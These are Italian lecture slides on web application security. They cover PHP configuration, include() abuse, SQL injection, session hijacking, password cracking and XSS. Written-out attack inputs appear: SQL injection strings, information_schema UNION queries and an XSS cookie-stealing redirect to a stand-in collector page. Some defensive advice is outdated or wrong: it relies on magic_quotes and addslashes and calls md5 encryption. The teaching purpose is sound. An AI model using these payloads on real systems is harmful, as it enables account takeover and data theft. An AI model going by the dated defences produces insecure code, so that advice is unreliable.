


Sicurezza WEB

LINGUAGGI E APPLICAZIONI MULTIMEDIALI -

Maurizio Maffi

ISTI Information Science and Technology Institute


Sicurezza Web

Programmando applicazioni Web based bisogna sempre tenere in considerazione che il nostro codice sarà, potenzialmente, soggetto ad attacchi di varia natura.
Il Web e tutta la rete Internet stessa sono nati come strumenti per lo scambio di informazioni e dati tra utenti fidati, senza particolari meccanismi di protezione.

Più i dati ed i documenti gestiti dalla nostra applicazione hanno rilevanza, più essa verrà bersagliata da tentativi di attacco da parte di hacker o cracker.


Sicurezza Web

Le problematiche legate alla sicurezza andrebbero tenute in considerazione sin dalla fase concettuale e progettuale: la correzione postuma degli errori potrebbe essere rilevante in termini di costo.

Un altro aspetto importante è che spesso la sicurezza è in conflitto con l'usabilità di un programma: a volte, maggiore è la sicurezza indotta, maggiori sono i vincoli di ristrettezza e minore è l'usabilità dello stesso.

Una Web application implica che i dati dell'applicazione transitino per la Rete: il cosidetto "payload" del protocollo HTTP potrebbe essere intercettati o modificati anche se la nostra programmazione risulta impeccabile.

Sicurezza Web

E’ noto che il protocollo TCP non offra alcuna garanzia in ordine alla consegna, al ritardo, all’errore o alla perdita di pacchetti, al controllo di flusso e alla congestione di rete: può presentare vulnerabilità piccole o grandi, così come un server od un client può essere bucato indipendentemente dall’abilità del programmatore, se mal configurato o se in esso sono in esecuzione programmi afflitti da bug o firewall mal impostati.


Sicurezza Web: best practises

- Non utilizzare il metodo Get per il trasferimento di dati quando è possibile sostituirlo con il metodo Post; il metodo Get trasporta le informazioni in *querystring*, quindi 'in chiaro', permettendo la loro visualizzazione a chiunque. Il discorso diventa ancora più importante quando si manipolano dati sensibili come UserID e password.
- Aggiornare frequentemente il sistema, consultare spesso il sito ufficiale di PHP (ponendo particolare attenzione alla scoperta di nuovi bugs e alle possibili modifiche al file di configurazione che possano rendersi necessarie. Fare inoltre attenzione alle funzioni che vengono considerate 'deprecate' per le nuove distribuzioni di PHP.

Sicurezza Web: best practises

- Limitare il più possibile l'editing dei contenuti da parte degli utenti: vanno bene la gestione personalizzata dei template e la possibilità di inserire commenti agli articoli etc., ma il tutto deve essere consentito attraverso privilegi ridotti rispetto a quelli concessi all'amministratore.
- Monitorare costantemente gli accessi facendo particolare attenzione alla loro provenienza e tenere sotto osservazone coloro che accedono troppo spesso alle nostre applicazioni; consideriamo che non tutti i visitatori sono "umani" (ad esempio spambot e spider)


Sicurezza Web: best practises

- Far accedere gli script alle basi di dati tramite utenti che non possiedano tutti i privilegi; perchè l'utente definito nel file di configurazione di un blog dovrebbe poter agire tramite GRANT o DROP? Solo l'utente root dovrebbe possedere questi privilegi per utilizzarli per l'amministrazione del DBMS.
- Utilizzare controlli lato server, inutile fare affidamento solo su quelli lato client, se pur ottimi dal punto di vista funzionale questi ultimi possono essere facilmente aggirati o disabilitati.


Configurazione PHP.INI

Il file **PHP.INI** è utilizzato per la configurazione di PHP: può essere settato in modo da rendere più sicuro l'ambiente in cui le nostre applicazioni devono funzionare; alcuni parametri che influenzano la sicurezza della applicazioni sono:

1. **register_globals**: questa voce, che per sicurezza dovrebbe essere settata su Off, permette o meno di rendere superglobali alcune variabili d'ambiente come Get, Post, Cookie e Session.

Molti provider di hosting lasciano questa voce su per consentire l’esecuzione di script datati.


Configurazione PHP.INI

2. **magic_quotes_gpc**: questa direttiva permette di operare l'escape su backslash, apici, doppi apici e caratteri NULL trasmessi tramite i metodi Get e Post; è importante settare ad On questa direttiva in particolare per prevenire gli attacchi da **SQL injection** mirati contro i database. *(deprecata in PHP 5.3.0)*

3. **magic_quotes_runtime**: come magic_quotes_gpc, anche questa direttiva permette l'escape di backslash, apici, doppi apici e caratteri NULL, è però riferita non ai metodi ma alle fonti esterne di informazioni come database e file di testo. On rappresenta il settaggio ottimale. *(deprecata in PHP 5.3.0)*


Configurazione PHP.INI

4. **error_reporting**: questa voce specifica la notifica degli errori; quando si sviluppa un'applicazione è bene poter visualizzare gli errori (settaggio in produzione: error_reporting = E_ALL); sul web non è necessario che gli utenti conoscano la causa degli errori generati dalle nostre applicazioni (settaggio in distribuzione display_errors = Off).

Sono da tenere in buona considerazione anche le direttive **log_errors** e **error_log**: la prima, se viene settata in On, permette di reindirizzare i messaggi di errore verso i file di log, la seconda specifica invece il percorso al file di log che su cui verranno notificati gli errori (ad es: /var/php/log).

Configurazione PHP.INI

5. **file_uploads**: se le nostre applicazioni non prevedono l'upload di file è bene disattivare questa voce;

6. **allow_url_fopen**: se attivata questa direttiva consente di manipolare le URL (http:// o ftp://) come fossero dei file, se non necessaria settare la voce corrispondente in off.


Configurazione PHP.INI: safe mode

La direttiva **safe_mode** è stata introdotta per risolvere le problematiche legate alla gestione dei permessi sulle risorse.

- L'attivazione ad ON di questa direttiva comporta alcune limitazioni: innanzitutto l'interprete di PHP andrà a verificare ogni volta l'User ID del file che viene eseguito e simulerà l'utente corrispondente attuando un'azione detta wrapping.
- In secondo luogo, le funzioni per la manipolazione dei file (come ad esempio copy() o unlink()) non potranno estendere la loro azione su risorse appartenenti a proprietari differenti da quello dell'applicazione che s'intende eseguire.


Configurazione PHP.INI: safe mode

- Terzo, i costrutti include() e require() risentiranno delle stesse limitazioni indicate per le precedenti funzioni tranne che per le risorse contenute nella directory indicata dalla direttiva *safe_mode_include_dir*.

Inoltre, le chiamate di sistema operate tramite le funzioni exec() (esegue un programma esterno), system() (esegue un programma esterno e ne mostra l'output) e passthru() (esegue un programma esterno e ne mostra l'output non elaborato, raw), non potranno coinvolgere eseguibili diversi da quelli inseriti nella cartella indicata dalla direttivasafe_mode_exec_dir.


Inclusioni e sicurezza

Il costrutto sintattico include() permette di richiamare all'interno di un codice PHP il contenuto di un file esterno: ha rappresentato a lungo una 'porta di accesso' molto comoda per le azioni di **defacement** operate dai crakers.

L'azione di **defacement** consiste nel sostituire la home page di un sito internet utilizzando un'altra scelta dal craker, ne consegue una naturale perdita di traffico verso la pagina originale e, cosa non meno importante, un danno d'immagine non indifferente.

Oggi, per fortuna, i defacement causati da un utilizzo improprio del costrutto include() sono abbastanza rari in quanto sono state introdotte numerose contromisure utili ad evitare questo evento 'fastidioso'.

Inclusioni e sicurezza

Innazitutto è possibile disabilitare dal PHP.INI la direttiva **allow_url_fopen**, impedendo di poter utilizzare le URL come fossero file e diminuirà le possibili inclusioni esterne.

In secondo luogo è possibile effettuare un controllo direttamente dal codice della nostra applicazione, limitando le possibili inclusioni a quelle permesse dallo sviluppatore:

```
<?php
$nome_file = "./file.php";
if (file_exists($nome_file))  {
include($nome_file); } ?>
```

Inclusioni e sicurezza

In pratica, il listato prevede l'inclusione di una determinata pagina e non di altre, il costrutto if controlla che la pagina deputata sia presente nel server e soltanto in quel caso ne permette l'inclusione.

Un altro sistema valido per evitare i possibili danni derivanti da inclusioni è quello di gestire i file con estensione **.inc**;

Le soluzioni sono diverse: o non li si utilizza affatto o è possibile intervenire sul file di configurazione di Apache **httpd.conf** negando l'accesso a questo tipo di file:

<Files ~ ".inc"> Order allow, deny Deny from all Satisfy All </Files>


Inclusioni e sicurezza

Sarà inoltre possibile aggiungere agli .inc un'estensione secondaria direttamente da codice:

```
<?php
$nome_file .= ".php";
?>
```

Oppure, si potrà aggiungere .inc alle estensioni consentite per i file contenenti codice PHP in httpd.conf:

AddType application/x-httpd-php .phtml ... .php .inc


Sicurezza dei database e SQL injections

Le **SQL injections** rappresentano la tipologia di attacco che si verifica più frequentemente contro le basi di dati accessibili via Web.

Esse consistono nella possibilità di effettuare richieste 'inaspettate' al DBMS, generalmente tramite form, utilizzando caratteri speciali come ', %, * o #.

Immaginiamo di avere un form per l'autenticazione simile al seguente:

<form method="post" action="login.php">

*User : <input type="text" name="usr">
*

*Password : <input type="password" name="pwd">
*

<input type="submit" value="Invia">

Sicurezza dei database e SQL injections

La SELECT destinata all'autenticazione dell'utente potrebbe essere simile alla seguente:

$sql = "SELECT * FROM tb WHERE usr = '".$_POST['usr']. "' AND pwd = '".$_POST['pwd']."'";

Ora, qualche malintenzionato potrebbe venire a conoscenza del fatto che la user dell'utente che ha l'accesso sia "staff", "root" o "admin".

In questo caso egli potrebbe scavalcare l'esigenza di conoscere la parola chiave associata all'utente con un semplice espediente:

*$sql = "SELECT * FROM tb WHERE usr = 'staff'#' AND pwd = 'blah'";*


Sicurezza dei database e SQL injections

Il carattere speciale # viene interpretato come un'istruzione che dice "ignora tutto quello che si trova dopo questo carattere", il cancelletto è infatti notoriamente utilizzato per i commenti, la password quindi non gli sarà più necessaria!

Sicurezza dei database e SQL injections

Altro esempio:

```
<?php
$password = md5($_POST['password']);
$query = "SELECT * FROM users WHERE username =
'{$_POST['username']}' AND password = '$password'";
$result = mysql_query($query);
?>
```

Se questo script viene richiamato con username = ' or 1=1 -- è possibile ad autenticarsi sempre. (-- è un commento)


Sicurezza dei database e SQL injections

Altro esempio:

```
 <form action="articles.php" method="post">
        <input type="text" name="valore"><br />
        <input type="submit" name="invio" value="Cerca">
</form>
```

La stringa inserita verrà elaborata dallo script articles.php, che effettuerà la query:

Sicurezza dei database e SQL injections

```
<?php
// Ricevo il parametro
$s = $_POST['valore'];
// Cerco all'interno del db
$q = "SELECT titolo, descrizione FROM articles WHERE nome = ".$s;
// altre istruzioni di elaborazione …
?>
```

Sicurezza dei database e SQL injections

E’ evidente come sia facile modificare l’istruzione di interrogazione ed ottenere risultati diversi da quelli che il programmatore inizialmente si aspettava.

Se nel campo di ricerca viene inserita la parola ciao, la query risulterà:

SELECT titolo, descrizione FROM articles WHERE nome = ciao

Ma se viene inserito del codice sql, la query si trasforma in:

SELECT titolo, descrizione FROM articles WHERE nome=1 OR 1=1

rendendo la condizione sempre verificata.

Sicurezza dei database e SQL injections

Ancor più grave se viene utilizzata questa istruzione nel campo di ricerca:

SELECT titolo, descrizione FROM articles WHERE nome=1 AND 1=0 UNION ALL SELECT users_password,1 FROM tabella

La query restituirà una tabella avente due campi (colonne), rispettivamente titolo e descrizione. Le istanze del primo campo saranno tutte le password degli utenti, presenti nella tabella users_password, mentre le istanze del secondo campo saranno tutti valori pari a 1.


Sicurezza dei database e SQL injections

E' evidente che l'attaccante deve conoscere il nome delle tabelle dalle quali vuole estrarre informazioni riservate..per esempio le password. Bene.

Purtroppo MySQL memorizza in un database dal nome **Information Schema** tutte le informazioni (nomi e struttura di ciascuna) sulle tabelle create nel server MySQL.

Quindi la query può essere modificata in questo modo:

SELECT titolo, descrizione FROM articles WHERE nome=1 UNION ALL SELECT TABLE_NAME,0,1,2,3 FROM information_schema.TABLES

Sicurezza dei database e SQL injections

Essa fornirà la lista completa di tutte la tabelle presenti. A questo punto, scoperto per esempio il nome della tabella delle password degli utenti, potrà scoprire il nome dei campi, modificando la query in questo modo:

SELECT titolo, descrizione FROM articles WHERE nome=1 UNION ALL SELECT column_name,0,1,2,3 FROM information_schema.COLUMNS WHERE TABLE_NAME='users_password'

Visualizzerà i nomi dei campi e potrà riformulare la prima query per ottenere i valori dalle tabelle.

Questa situazione potrebbe non funzionare in tutti i casi; dipende dalla politiche di accesso al database stabilite dall'amministratore.


Sicurezza dei database e SQL injections

In maniera simile ai form di ricerca in una pagina web, potrebbe essere rischioso utilizzare il metodo GET e richiamare uno script php come:

http://www.miosito.it/pagina.php?idArticolo=2 union all select …

Per fortuna difendersi dalle **SQL injections** non è poi molto difficile. PHP mette a disposizione numerose funzioni che aiutano contro gli attacchi alle basi di dati. Si osservi per esempio il seguente listato:

```
<?php
$usr = trim(htmlspecialchars(addslashes($_SESSION['usr'])));
$pwd = trim(htmlspecialchars(addslashes($_SESSION['pwd'])));
$sql = "INSERT INTO tb VALUES (md5($usr), md5($pwd))";
?>
```


Sicurezza dei database e SQL injections

La funzione **trim()** elimina gli spazi ed altri caratteri all'inizio e alla fine di una stringa;

htmlspecialchars() permette di convertire i caratteri speciali in entità HTML 'innocue';

addslashes() produce una stringa contenente '\' anteposto ai caratteri che richiedono il quoting nelle query dei database come: apici singoli, doppi apici, backslash e il byte NULL

md5() converte una stringa in un numero esadecimale di 32 caratteri all'interno del quale essa viene criptata.

Sicurezza dei database e SQL injections

Validazione dell'input. Implementiamo delle procedure di validazione nei nostri script, prevediamo e blocchiamo ogni tipo di carattere pericoloso che può essere immesso. La validazione deve essere fatta rigorosamente lato server. I JavaScript sono praticamente inutili contro un hacker.

Ridurre i privilegi. Il servizio del server SQL non deve avere privilegi superiori, in modo da contrastare le tecniche di hacking che invece li richiedono.

Aggiornare spesso. Molti punti vulnerabili alla SQL injection non sono così evidenti come nei casi che abbiamo visto finora. Per questo non abbiamo la possibilità di riconoscerli subito. Gli update degli script (forum, sistemi di gestione) risolvono questi problemi appena vengono trovati, quindi teniamoci aggiornati!

Session Hijacking

La pratica del **Session Hijacking** consiste nel conseguire l'accesso non autorizzato su un sistema tramite l'abuso delle chiavi di sessione e generalmente prevede la manipolazione dei cookie dei browser.

L'attaccante può predire, impadronirsi o anche inizializzare il session token corrispondente alla sessione web di un utente (**session hijacking** e **fixation**)

A livello di sviluppo applicativo e di application server occorre eliminare errori (generazione di token deboli) e proteggere le sessioni con SSL, page tokens e ulteriori controlli vari.

Session Hijacking

La tecnica più banale dal punto di vista tecnico prevede il furto dei cookie dal browser della vittima (**cookie stealing**), ma proteggere da questo tipo di attacco è difficile e dovrebbe essere responsabilità di ogni utente la protezione dagli accessi diretti non autorizzati al proprio computer.

Cracking delle password

In seguito sono riportati due importanti tipi di attacchi per reperire password da archivi criptati. Le tecniche di cracking vengono così chiamate:

1. **Attacchi di tipo dizionario**

2. **Attacchi a forza bruta esaustivi**

Attacchi di tipo dizionario

Dal punto di vista matematico è impossibile invertire l'hash, ma è possibile provare rapidamente a effettuare l'hashing di ogni parola contenuta nel dizionario ed è proprio in questo che consiste la tecnica dell'attaccao di tipo dizionario.

Il punto debole di questo attacco è che se la password originaria non è una password presente nel file del dizionario la password non verrà individuata.

Per esempio se la password è: **BARBA** il sistema la trova ma se è **8@r8@:** l'attacco di tipo dizionario non riuscirà ad individuarla

Attacchi di tipo dizionario

→ C ↓ N	26 (minuscole)	36 (minuscole alfanumeriche)	62 (miste alfanumeriche)	95 (caratteri da tastiera)
5	0.67 ore	3.4 ore	51 ore	430 ore
6	17 ore	120 ore	130 giorni	4.7 anni
7	19 giorni	180 giorni	22 anni	440 anni
8	1.3 anni	18 anni	1400 anni	42000 anni
9	34 anni	640 anni	86000 anni	$4.0*10^6$ anni
10	890 anni	23000 anni	$5.3*10^6$ anni	$3.8*10^8$ anni

Il numero di password composte da **N caratteri** date **C scelte** per carattere è $\mathbf{C^N}$

La tabella fornisce il tempo richiesto per effettuare una ricerca all'intero spazio delle password.

Attacchi a forza bruta esaustiva

L'Attacco a **forza bruta esaustiva** è un tipo di attacco che si basa sull'idea dell'attacco di tipo dizionario ma, a differenza di quest'ultimo, prova a utilizzare ogni possibile combinazione di caratteri per formare parole non presenti nel dizionario comune.

Nell'esempio di prima la password **8@r8@:** sarebbe reperibile con un attacco a forza bruta esaustiva.

I PROBLEMI (OVVI) DELL'ATTACCO A FORZA BRUTA ESAUSTIVA :

Con 95 caratteri di input possibili per password vi sono 95^8 password possibili per una ricerca esaustiva di tutte le password composte da 8 caratteri, che corrispondono a più di 7×10^{15} combinazioni possibili.

Attacchi a forza bruta esaustiva

UN PO DI CONTI:

Assumiamo di avere a disposizione una frequenza di **10000 tentativi al secondo:** occorrerebbero circa 22.875 anni per provare tutte le possibili password.

Assumiamo di avere 1000 macchine che lavorano parallelamente e hanno una potenza di calcolo di 10000 tentativi al secondo ci vorranno comunque circa 22 anni: è importante ricordare che la distribuzione delle macchine parallele consente un aumento lineare, non esponenziale, della velocità con cui viene effettuata la ricerca.

Attacchi a forza bruta esaustiva

Ora DIMINUIAMO il numero dei caratteri della password.
Il numero di combinazioni possibili decresce esponenzialmente; quindi una password di 4 caratteri corrisponde a sole 95^4 combinazioni possibili.
Le chiavi possibili quindi si riducono a 84 milioni di combinazioni possibili. Un attacco esaustivo (considerando sempre una tempo di calcolo da 10000 tentativi al secondo) individuerebbe la password in un tempo relativamente breve. Quindi la password **m8#!** (non presente nel dizionario) risulterebbe reperibile in tempi ragionevoli.

Come difendersi da gli attacchi descritti

ATTACCO A DIZIONARIO

- ATTACCO: Buoni risultati se la password fa parte di un dizionario, Esempio: **Albero**
- DIFESA : Utilizzare password con parole non di uso quotidiano, Esempio**: V189r0**

ATTACCO FORZA BRUTA ESAUSTIVA

- ATTACCO: Buoni risultati anche se la password è contenuta in un dizionario purchè sia corta e non, ad esempio: **#lp!**
- DIFESA: Utilizzare password lunghe almeno 6 caratteri, ad esempio: **#lp! X%**

Come difendersi da gli attacchi descritti

UNIRE LE DUE DIFESE

A conti fatti per prevenire i principali attacchi alla password quest'ultime dovranno avere una lunghezza minima di 6 (meglio 8) caratteri scelti casualmente e quindi non appartenenti a nessun vocabolario.

XSS

Il **Cross-site scripting (XSS)** è una vulnerabilità che affligge siti web dinamici che impiegano un insufficiente controllo dell'input (parametri di richieste HTTP GET o contenuto di richieste HTTP POST).

Un XSS permette ad un attaccante di inserire codice al fine di modificare il contenuto della pagina web visitata. In questo modo sì potranno sottrarre dati sensibili presenti nel browser degli utenti che visiteranno successivamente quella pagina.

Gli attacchi alle vulnerabilità XSS hanno effetti dirompenti in siti con un elevato numero di utenti, dato che è sufficiente una sola compromissione per colpire chiunque visiti la stessa pagina


XSS: Iniezione di codice

Per iniezione di codice, in generale, si intende l'inserimento di uno script che venga eseguito direttamente nel nostro browser, all'interno del sito a cui sferriamo l'attacco; questa iniezione può essere praticata in vari modi, che in seguito analizzeremo più dettagliatamente. Vediamo ora un esempio di iniezione.

Qui sotto è un esempio banale di codice di una pagina html vulnerabile a questo tipo di attacco.

XSS: Iniezione di codice

```
<html>
<head>
<title>Pagina Vulnerabile a xss</title>
<script type="text/javascript">
  function asd()
 {
  var lol=prompt("Ciao, inserisci il tuo nome");
  return asd;
 }
</script>
</head>
<body>
<script type="text/javascript">
lol2=asd();
document.write("Ciao ",lol2);
</script>
</body>
</html>
```

presenterà un messaggio di benvenuto rivolto al nick che andremo ad inserire nel prompt

Il nick inserito sarà visualizzato nella pagina

XSS: Iniezione di codice

Inserendo la parola “pippo” nel prompt il valore di `lol2` sarebbe “pippo”, ma cosa succederebbe se scrivessimo al posto di pippo il seguente “nick”:

```
<script>alert("Hello World")</script>
```

La variabile `lol2` avrebbe come valore “`<script>alert("Hello World")</script>`”
essendo però la suddetta riconosciuta come uno script di alert, il sito eseguirà lo script e il risultato sarà la comparsa di un'alert con scritto "Hello World“… nulla di pericoloso….

XSS: Iniezione di codice

Ecco tre esempi di script tramite i quali al caricamento della pagina, subiremo un redirect a "www.sito.com".

```
<script>location.href="www.sito.com"</script>
<script>window.location("www.sito.com")</script>
<script>document.location="www.sito.com"</script>
```

Ma se il redirect indirizzasse la vittima invece che al sito www.miosito.com ad un *cookie grabber* ?!?...potremmo ottenere i dati d'accesso del malcapitato a quel sito...questo tipo di attacco tramite xss viene **chiamato cookie stealing (furto di cookie).**

XSS: cookie stealing

Per effettuare un cookie stealing è necessario sapere che, nel javascript, è presente una proprietà (document.cookie), che restituisce i nostri cookie. Ad esempio, inserendo nel sito buggato `<script>alert (document.cookie)</script>` vedremmo un alert con i nostri cookie di quel sito.

ATTACCO:

- Si crea una pagina dinamica interpretata (es. Php) contenente del codice atto alla ricezione di un cookie chiamata per esempio SPY.php .
- Il file appena creato dovrà memorizzare su un file txt i cookies passati

XSS: cookie stealing

Reindirizzando un utente su:
www.nostrosito.com/spy.php?cookie='+escape(document.cookie)

si creerebbe www.nostrosito.com/cookie.txt contenente i cookie della nostra vittima del sito da cui sfruttiamo l'xss

Ricordando che i cookies contengono autenticazioni , informazioni specifiche riguardanti gli utenti che accedono al server, come ad esempio i siti preferiti o, in caso di acquisti on-line, il contenuto dei loro "carrelli della spesa“, ecc.. è facilmente intuibile la pericolosità dell’attacco.